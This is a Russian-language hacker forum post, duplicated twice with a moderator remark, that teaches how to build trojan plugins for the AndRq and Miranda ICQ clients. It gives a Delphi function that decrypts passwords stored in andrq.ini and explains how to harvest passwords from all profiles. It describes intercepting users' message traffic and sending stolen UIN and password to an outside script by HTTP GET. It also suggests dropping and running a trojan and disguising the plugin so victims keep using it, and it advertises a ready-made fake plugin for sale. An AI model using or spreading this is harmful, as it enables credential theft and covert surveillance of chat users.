ANDRQ
AndRq – неоффициальный icq клиент с открытыми исходными текстами,поддерживающий плагины.На сайте www.andrq.ru можно скачать пример такого плагина на дельфи.
Сразу же возникает идея написать свой собственный и использовать его в своих целях.Допустим,можно скачивать троян и запускать его или же делать так чтобы плагин действительно работал,одновременно выполняя свои зловредные функции.
Глянем что нам позволяют плагины.Открываем CallExec.pas и видим функцию
RQ_SendMsg(uin, Flag:integer; msg:string);
Это функция не очень то годна в нашех целях – после ее вызова возникает окно с отправленным сообщением.Значит нам надо реализовать протокол icq независимо от плагина.
Очень полезны события PE_CONNECTED и PE_DISCONNECTED тк лучше чтобы наш фейк работал только после коннекта уина.
Существуют также 2 очень полезных события PE_MSG_GOT и PE_MSG_SENT,которые позволят вести контроль переписки(uin-int_at(data,6),msg-_istring_at(data, 22)).Оптимально не сразу пересылать полученное,а,например,после достижения определенного лимита
Получить пароль тоже довольно легко.Он находится в зишифрованном виде в папке с профилем в файле andrq.ini (RQ_GetCurrentUser/andrq.ini).Находим пароль по строке crypted-password.Функция дешифровки пароля выглядит так
function PassDecrypt(s: string):string;
var
i: integer;
begin
result:='';
i:=length(s);
while i > 0 do
begin
if s < #70 then
begin
result:=result+char((ord(s[i-1])-40) shl 4+ord(s[i-2])-40);
dec(i,2);
end;
dec(i);
end;
end;
Текущий уин получаем командой rq_getcurrentuser.Можно получить пассы всех профилей если найти все папки в директории с крысой и проверять каждую на наличие в ней andrq.ini.
MIRANDA
У миранды очень хороший PDK и позволяет полностью изменить клиент.Все предствавлено в виде отдельных inc файлов и есть примеры для си и дельфи.
Открываем файл m_message.inc и находим такую запись : MS_MSG_SENDMESSAGE Миранда позволяет отправить сообщение невидимо для юзера,а также имеет события на получение и отправку сообщения.
Разработчики сделали очень большую ошибку – функции плагины выполняются до того как миранда успеет понять что плагин не соответствует стандарту.Однако если вы хотите,чтобы юзер запустил плагин и не раз и не два стоит написать красивую оболочку ( форму ) и придать ему функциональность плюс сделать его по всем правилам плагинов для миранды
function MirandaPluginInfo(mirandaVersion: DWORD): PPLUGININFO; cdecl;
begin
Result := @PLUGININFO;
PLUGININFO.cbSize := sizeof(TPLUGININFO);
PLUGININFO.shortName := 'Plugin Template';
PLUGININFO.version := PLUGIN_MAKE_VERSION(0,0,0,1);
PLUGININFO.description := 'The long description of your plugin, to go in the plugin options dialog';
PLUGININFO.author := 'J. Random Hacker';
PLUGININFO.authorEmail := 'noreply@sourceforge.net';
PLUGININFO.copyright := '© 2003 J. Random Hacker';
PLUGININFO.homepage := 'http://miranda-icq.sourceforge.net/';
PLUGININFO.isTransient := 0;
PLUGININFO.replacesDefaultModule := 0;
end;
Как вариант не реализовывать icq протокол для отправки пароля и просто передать данные скрипту GET – запросом ( GET http://cup.su/icq.php?uin=&pass= HTTP/1.1 )
Вот собственно и все что я хотел сказать о Fake плагинах.
*Подобный miranda плагин можно приобрести у человека с ником c4mb3ll
*В архиве находится miranda PDK и asm код фейк плагина
0x00 Miranda_Plugin_Dev_KIT / 0x01 Miranda_Fake_Plugin
http://underwater.cup.su/ - Сайт оригинала статьи
[mod][Winux:] Прикольно сайт крутишь, но в другой раз лучше сделай copy-paste. Это не потому что я не люблю когда чужие сайты так крутят, а потому что твой сайт через месяц может закрыться.[/mod]
AndRq – неоффициальный icq клиент с открытыми исходными текстами,поддерживающий плагины.На сайте www.andrq.ru можно скачать пример такого плагина на дельфи.
Сразу же возникает идея написать свой собственный и использовать его в своих целях.Допустим,можно скачивать троян и запускать его или же делать так чтобы плагин действительно работал,одновременно выполняя свои зловредные функции.
Глянем что нам позволяют плагины.Открываем CallExec.pas и видим функцию
RQ_SendMsg(uin, Flag:integer; msg:string);
Это функция не очень то годна в нашех целях – после ее вызова возникает окно с отправленным сообщением.Значит нам надо реализовать протокол icq независимо от плагина.
Очень полезны события PE_CONNECTED и PE_DISCONNECTED тк лучше чтобы наш фейк работал только после коннекта уина.
Существуют также 2 очень полезных события PE_MSG_GOT и PE_MSG_SENT,которые позволят вести контроль переписки(uin-int_at(data,6),msg-_istring_at(data, 22)).Оптимально не сразу пересылать полученное,а,например,после достижения определенного лимита
Получить пароль тоже довольно легко.Он находится в зишифрованном виде в папке с профилем в файле andrq.ini (RQ_GetCurrentUser/andrq.ini).Находим пароль по строке crypted-password.Функция дешифровки пароля выглядит так
function PassDecrypt(s: string):string;
var
i: integer;
begin
result:='';
i:=length(s);
while i > 0 do
begin
if s < #70 then
begin
result:=result+char((ord(s[i-1])-40) shl 4+ord(s[i-2])-40);
dec(i,2);
end;
dec(i);
end;
end;
Текущий уин получаем командой rq_getcurrentuser.Можно получить пассы всех профилей если найти все папки в директории с крысой и проверять каждую на наличие в ней andrq.ini.
MIRANDA
У миранды очень хороший PDK и позволяет полностью изменить клиент.Все предствавлено в виде отдельных inc файлов и есть примеры для си и дельфи.
Открываем файл m_message.inc и находим такую запись : MS_MSG_SENDMESSAGE Миранда позволяет отправить сообщение невидимо для юзера,а также имеет события на получение и отправку сообщения.
Разработчики сделали очень большую ошибку – функции плагины выполняются до того как миранда успеет понять что плагин не соответствует стандарту.Однако если вы хотите,чтобы юзер запустил плагин и не раз и не два стоит написать красивую оболочку ( форму ) и придать ему функциональность плюс сделать его по всем правилам плагинов для миранды
function MirandaPluginInfo(mirandaVersion: DWORD): PPLUGININFO; cdecl;
begin
Result := @PLUGININFO;
PLUGININFO.cbSize := sizeof(TPLUGININFO);
PLUGININFO.shortName := 'Plugin Template';
PLUGININFO.version := PLUGIN_MAKE_VERSION(0,0,0,1);
PLUGININFO.description := 'The long description of your plugin, to go in the plugin options dialog';
PLUGININFO.author := 'J. Random Hacker';
PLUGININFO.authorEmail := 'noreply@sourceforge.net';
PLUGININFO.copyright := '© 2003 J. Random Hacker';
PLUGININFO.homepage := 'http://miranda-icq.sourceforge.net/';
PLUGININFO.isTransient := 0;
PLUGININFO.replacesDefaultModule := 0;
end;
Как вариант не реализовывать icq протокол для отправки пароля и просто передать данные скрипту GET – запросом ( GET http://cup.su/icq.php?uin=&pass= HTTP/1.1 )
Вот собственно и все что я хотел сказать о Fake плагинах.
*Подобный miranda плагин можно приобрести у человека с ником c4mb3ll
*В архиве находится miranda PDK и asm код фейк плагина
0x00 Miranda_Plugin_Dev_KIT / 0x01 Miranda_Fake_Plugin
http://underwater.cup.su/ - Сайт оригинала статьи
[mod][Winux:] Прикольно сайт крутишь, но в другой раз лучше сделай copy-paste. Это не потому что я не люблю когда чужие сайты так крутят, а потому что твой сайт через месяц может закрыться.[/mod]